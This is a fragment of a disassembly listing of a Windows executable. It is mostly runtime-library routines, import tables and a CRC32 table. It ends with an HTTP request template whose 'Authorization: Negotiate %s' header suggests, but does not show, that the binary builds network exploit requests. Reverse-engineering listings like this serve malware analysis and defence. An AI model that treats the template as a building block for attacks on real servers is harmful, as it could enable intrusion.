; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; CODE XREF: ___:00422AEAp
mov dword ptr [ecx], offset off_424D00
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_422AE6
push ecx
call sub_417C3B
pop ecx
locret_422AE6: ; CODE XREF: sub_422AD2+Bj
retn
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AE7: ; DATA XREF: ___:off_424D00o
push esi
mov esi, ecx
call sub_422AD2
test byte ptr [esp+8], 1
jz short loc_422AFD
push esi
call sub_4182AF
pop ecx
loc_422AFD: ; CODE XREF: ___:00422AF4j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_422B03: ; DATA XREF: ___:off_424D08o
push esi
mov esi, ecx
call sub_422BA6
test byte ptr [esp+8], 1
jz short loc_422B19
push esi
call sub_4182AF
pop ecx
loc_422B19: ; CODE XREF: ___:00422B10j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp
; sub_4228C0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_424D08
push dword ptr [edi]
call sub_417AB0
inc eax
push eax
call sub_4185F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_422B4E
push dword ptr [edi]
push eax
call sub_4179C0
pop ecx
pop ecx
loc_422B4E: ; CODE XREF: sub_422B1F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_422B1F endp
; =============== S U B R O U T I N E =======================================
sub_422B5C proc near ; CODE XREF: sub_422908+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_424D08
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_422B99
push dword ptr [edi+4]
call sub_417AB0
inc eax
push eax
call sub_4185F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_422B9F
push dword ptr [edi+4]
push eax
call sub_4179C0
pop ecx
pop ecx
jmp short loc_422B9F
; ---------------------------------------------------------------------------
loc_422B99: ; CODE XREF: sub_422B5C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_422B9F: ; CODE XREF: sub_422B5C+2Ej
; sub_422B5C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_422B5C endp
; =============== S U B R O U T I N E =======================================
sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j
; ___:00422B06p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_424D08
jz short locret_422BBB
push dword ptr [ecx+4]
call sub_4182AF
pop ecx
locret_422BBB: ; CODE XREF: sub_422BA6+Aj
retn
sub_422BA6 endp
; =============== S U B R O U T I N E =======================================
sub_422BBC proc near ; DATA XREF: ___:00424D0Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_422BC8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_422BC8: ; CODE XREF: sub_422BBC+5j
retn
sub_422BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BC9 proc near ; CODE XREF: sub_422863+37p
; sub_42298A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_424D28
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2840000h
pop edi
pop esi
leave
retn 8
sub_422BC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C03 proc near ; CODE XREF: sub_422A52+56p
; sub_422A52+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_422C15
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_422C15: ; CODE XREF: sub_422C03+Bj
cmp dword_48A0A8, 0
jnz short loc_422C2F
cmp ax, 41h
jb short locret_422C76
cmp ax, 5Ah
ja short locret_422C76
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_422C2F: ; CODE XREF: sub_422C03+19j
cmp ax, 100h
jnb short loc_422C49
push 1
push eax
call sub_422EB1
pop ecx
test eax, eax
pop ecx
jnz short loc_422C49
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_422C49: ; CODE XREF: sub_422C03+30j
; sub_422C03+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_48A0A8
call sub_422C78
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_422C76
mov ax, [ebp+var_2]
locret_422C76: ; CODE XREF: sub_422C03+1Fj
; sub_422C03+25j ...
leave
retn
sub_422C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424D48
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_48A304, esi
jnz short loc_422CEE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_4248D8
mov edi, 100h
push edi
push esi
nop
call near ptr 2860000h
test eax, eax
jz short loc_422CCC
mov dword_48A304, ebx
jmp short loc_422CEE
; ---------------------------------------------------------------------------
loc_422CCC: ; CODE XREF: sub_422C78+4Aj
push esi
push esi
push ebx
push offset dword_43C824
push edi
push esi
nop
call near ptr 2850000h
test eax, eax
jz loc_422E6D
mov dword_48A304, 2
loc_422CEE: ; CODE XREF: sub_422C78+2Ej
; sub_422C78+52j
cmp [ebp+arg_C], esi
jle short loc_422D03
push [ebp+arg_C]
push [ebp+arg_8]
call sub_422E81
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422D03: ; CODE XREF: sub_422C78+79j
mov eax, dword_48A304
cmp eax, 1
jnz short loc_422D2A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2860000h
nop
jmp loc_422E6F
; ---------------------------------------------------------------------------
loc_422D2A: ; CODE XREF: sub_422C78+93j
cmp eax, 2
jnz loc_422E6D
cmp [ebp+arg_18], esi
jnz short loc_422D40
mov eax, dword_48A0B8
mov [ebp+arg_18], eax
loc_422D40: ; CODE XREF: sub_422C78+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2790000h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_422E6D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_422D86
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_422D86: ; CODE XREF: sub_422C78+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_422E6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2790000h
test eax, eax
jz loc_422E6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2850000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_422E6D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422E09
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_422E09: ; CODE XREF: sub_422C78+17Dj
cmp ebx, esi
jz short loc_422E6D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2850000h
test eax, eax
jz short loc_422E6D
test byte ptr [ebp+arg_4+1], 4
jz short loc_422E47
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_422E69
cmp eax, edi
jl short loc_422E38
mov eax, edi
loc_422E38: ; CODE XREF: sub_422C78+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_418C10
add esp, 0Ch
jmp short loc_422E69
; ---------------------------------------------------------------------------
loc_422E47: ; CODE XREF: sub_422C78+1B1j
cmp [ebp+arg_14], esi
jnz short loc_422E50
push esi
push esi
jmp short loc_422E56
; ---------------------------------------------------------------------------
loc_422E50: ; CODE XREF: sub_422C78+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422E56: ; CODE XREF: sub_422C78+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 2610000h
mov edi, eax
cmp edi, esi
jz short loc_422E6D
loc_422E69: ; CODE XREF: sub_422C78+1B8j
; sub_422C78+1CDj
mov eax, edi
jmp short loc_422E6F
; ---------------------------------------------------------------------------
loc_422E6D: ; CODE XREF: sub_422C78+66j
; sub_422C78+B5j ...
xor eax, eax
loc_422E6F: ; CODE XREF: sub_422C78+ADj
; sub_422C78+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422C78 endp
; =============== S U B R O U T I N E =======================================
sub_422E81 proc near ; CODE XREF: sub_422C78+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422EA0
loc_422E91: ; CODE XREF: sub_422E81+1Dj
cmp word ptr [eax], 0
jz short loc_422EA0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_422E91
loc_422EA0: ; CODE XREF: sub_422E81+Ej
; sub_422E81+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_422EAE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_422EAE: ; CODE XREF: sub_422E81+24j
mov eax, edx
retn
sub_422E81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EB1 proc near ; CODE XREF: sub_422C03+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_422EF1
cmp [ebp+arg_0], 100h
jnb short loc_422ED5
movzx eax, [ebp+arg_0]
mov ecx, off_4395A4
mov ax, [ecx+eax*2]
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED5: ; CODE XREF: sub_422EB1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_422F03
add esp, 18h
test eax, eax
jnz short loc_422EF5
loc_422EF1: ; CODE XREF: sub_422EB1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EB1+3Ej
mov eax, [ebp+var_4]
loc_422EF8: ; CODE XREF: sub_422EB1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_422EB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F03 proc near ; CODE XREF: sub_422EB1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424D60
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_48A308
xor edi, edi
cmp eax, edi
jnz short loc_422F72
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4248D8
push esi
nop
call near ptr 25C0000h
test eax, eax
jz short loc_422F50
mov eax, esi
jmp short loc_422F6D
; ---------------------------------------------------------------------------
loc_422F50: ; CODE XREF: sub_422F03+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43C824
push esi
push edi
call near ptr 25C0792h
nop
test eax, eax
jz loc_4230B4
push 2
pop eax
loc_422F6D: ; CODE XREF: sub_422F03+4Bj
mov dword_48A308, eax
loc_422F72: ; CODE XREF: sub_422F03+2Fj
cmp eax, 1
jnz short loc_422F8E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25C0000h
jmp loc_4230B6
; ---------------------------------------------------------------------------
loc_422F8E: ; CODE XREF: sub_422F03+72j
cmp eax, 2
jnz loc_4230B4
cmp [ebp+arg_10], edi
jnz short loc_422FA4
mov eax, dword_48A0B8
mov [ebp+arg_10], eax
loc_422FA4: ; CODE XREF: sub_422F03+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2790000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_4230B4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_417330
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_423002
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_423002: ; CODE XREF: sub_422F03+EAj
cmp [ebp+var_2C], edi
jz loc_4230B4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2790000h
test eax, eax
jz loc_4230B4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_423057
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_423057: ; CODE XREF: sub_422F03+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_4230B4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_42306B
mov eax, dword_48A0A8
loc_42306B: ; CODE XREF: sub_422F03+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 25C0792h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_4230B4
cmp word ptr [esi], 0FFFFh
jnz short loc_4230B4
push edi
push ebx
push [ebp+arg_C]
call sub_4182C0
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_4230B6
; ---------------------------------------------------------------------------
loc_4230B4: ; CODE XREF: sub_422F03+61j
; sub_422F03+8Ej ...
xor eax, eax
loc_4230B6: ; CODE XREF: sub_422F03+86j
; sub_422F03+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422F03 endp
; =============== S U B R O U T I N E =======================================
sub_4230C8 proc near ; DATA XREF: ___:00424F14o
; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40445C
sub_4230C8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_4230E6
mov ecx, [ebp+8]
jmp loc_40445C
; ---------------------------------------------------------------------------
locret_4230E6: ; CODE XREF: ___:004230D8j
retn
; ---------------------------------------------------------------------------
loc_4230E7: ; DATA XREF: sub_404032o
mov eax, offset dword_424EE8
jmp loc_417F4B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_4230FC: ; DATA XREF: ___:00424F44o
lea ecx, [ebp-1Ch]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_423104: ; DATA XREF: sub_4041D4o
mov eax, offset dword_424F18
jmp loc_417F4B
; ---------------------------------------------------------------------------
align 10h
loc_423110: ; DATA XREF: sub_40473Fo
mov eax, offset dword_424F48
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423122: ; DATA XREF: sub_4227EEo
mov eax, offset dword_424FA8
jmp loc_417F4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_423134: ; DATA XREF: sub_422863o
mov eax, offset dword_425040
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423146: ; DATA XREF: sub_4228C0o
mov eax, offset dword_425064
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423158: ; DATA XREF: sub_422908o
mov eax, offset dword_425088
jmp loc_417F4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_42316A: ; DATA XREF: sub_42298Ao
mov eax, offset dword_4250E8
jmp loc_417F4B
; ---------------------------------------------------------------------------
dd 3A3h dup(0)
dd 2580000h, 2580165h, 2590000h, 25905D6h, 25A0000h, 25A0B9Bh
dd 25B0000h, 25B051Bh, 25B0575h, 25B0B69h, 25C0000h, 25C0792h
dd 25D0000h, 25D08DEh, 25D0A9Ah
dword_42403C dd 25D0AAFh ; DATA XREF: ___:0041F496r
dd 25D0B38h, 25D0E75h, 25E0000h, 25E0180h, 25E02D3h, 25E02EAh
dword_424058 dd 25E08E4h ; DATA XREF: sub_40144A+1A6r
; sub_401D82+3Dr ...
dd 25E0925h, 25F0000h
dword_424064 dd 25F0439h ; DATA XREF: sub_40797F+D1r
; sub_40D3A5+29r
dd 25F048Fh, 2600000h
dword_424070 dd 2610000h ; DATA XREF: sub_40DC82+Fr
; sub_4199B9+54r ...
dword_424074 dd 2611183h ; DATA XREF: sub_4168E9+Br
dword_424078 dd 2611A31h ; DATA XREF: ___:00404E30r
; sub_40AB7C+67r ...
dd 2620000h, 2620620h
dword_424084 dd 2630000h ; DATA XREF: sub_40AB7C+36r
dd 2630272h
dword_42408C dd 2630313h ; DATA XREF: sub_4168E9:loc_41697Ar
dd 26303A9h, 2640000h, 2650000h, 2660000h
dword_4240A0 dd 2660D4Bh ; DATA XREF: sub_4165C6+32r
dd 2670000h, 267029Bh, 26703ADh, 2680000h, 2680631h, 2690000h
dword_4240BC dd 26A0000h ; DATA XREF: sub_408EE5+26r
dd 26B0000h, 77F7E300h, 77F7E21Fh, 26B0B0Ch, 26C0000h
dd 26C074Dh
dword_4240D8 dd 26D0000h ; DATA XREF: sub_409037+BCr
dword_4240DC dd 26D0588h ; DATA XREF: sub_409037+60r
; sub_40981F+11r ...
dword_4240E0 dd 26D0C95h ; DATA XREF: sub_40981F:loc_409D0Fr
dd 26E0000h
dword_4240E8 dd 26F0000h ; DATA XREF: sub_409209+21r
; sub_409392+4Ar
dword_4240EC dd 26F09F8h ; DATA XREF: sub_409209+10r
; sub_409392+40r ...
dd 26F0A4Dh
dword_4240F4 dd 26F0C77h ; DATA XREF: sub_409392+56r
dd 2700000h, 2700537h
dword_424100 dd 2700B59h ; DATA XREF: sub_40981F+2r
dd 2710000h, 2720000h, 272067Ch, 2720C04h, 2730000h, 2730727h
dd 2740000h, 274056Fh, 2750000h, 2751040h, 275113Ah, 2760000h
dd 276046Bh, 27607E9h
dword_42413C dd 2760C3Fh ; DATA XREF: sub_40B56C+79r
; sub_416810+3Ar
dword_424140 dd 2770000h ; DATA XREF: sub_40B56C+3Br
; sub_416717+23r
dd 2771415h, 2780000h, 77E75CB5h
dword_424150 dd 2790000h ; DATA XREF: sub_40DBB0+13r
; ___:0041F50Br ...
dd 27A0000h, 27A0C9Ch, 27A0DD8h
dword_424160 dd 27B0000h ; DATA XREF: ___:loc_40E864r
dd 27B03C7h
dword_424168 dd 27B0A22h ; DATA XREF: sub_4165C6:loc_4166B2r
dd 27B0B24h, 27B0BD0h, 27B0CADh, 27C0000h, 27C061Bh, 27C0848h
dd 27C098Dh, 27D0000h, 27E0000h, 27F0000h, 2800000h, 2810000h
dd 28119B6h, 28119E3h, 2820000h, 2820CB9h, 2830000h
dword_4241B0 dd 2830643h ; DATA XREF: sub_41ADB4+240r
dword_4241B4 dd 2830702h ; DATA XREF: sub_41B888:loc_41B8B9r
dd 283090Eh, 2840000h, 284053Eh, 2850000h, 2860000h, 2861185h
dd 28618EEh, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar
dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r
db 90h
db 18h, 0ABh, 71h
dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
dd 71AB1746h, 2 dup(0)
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr
dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r
dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr
; sub_404464r ...
align 8
dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r
dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do
; sub_404514+5Bo ...
flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r
dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr
; sub_40CAF1+2D8r ...
dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er
dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr
; sub_417DEB+6Cr ...
dd 0FFFFFFFFh, 419CBBh, 419CCFh
byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43959Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_439598o
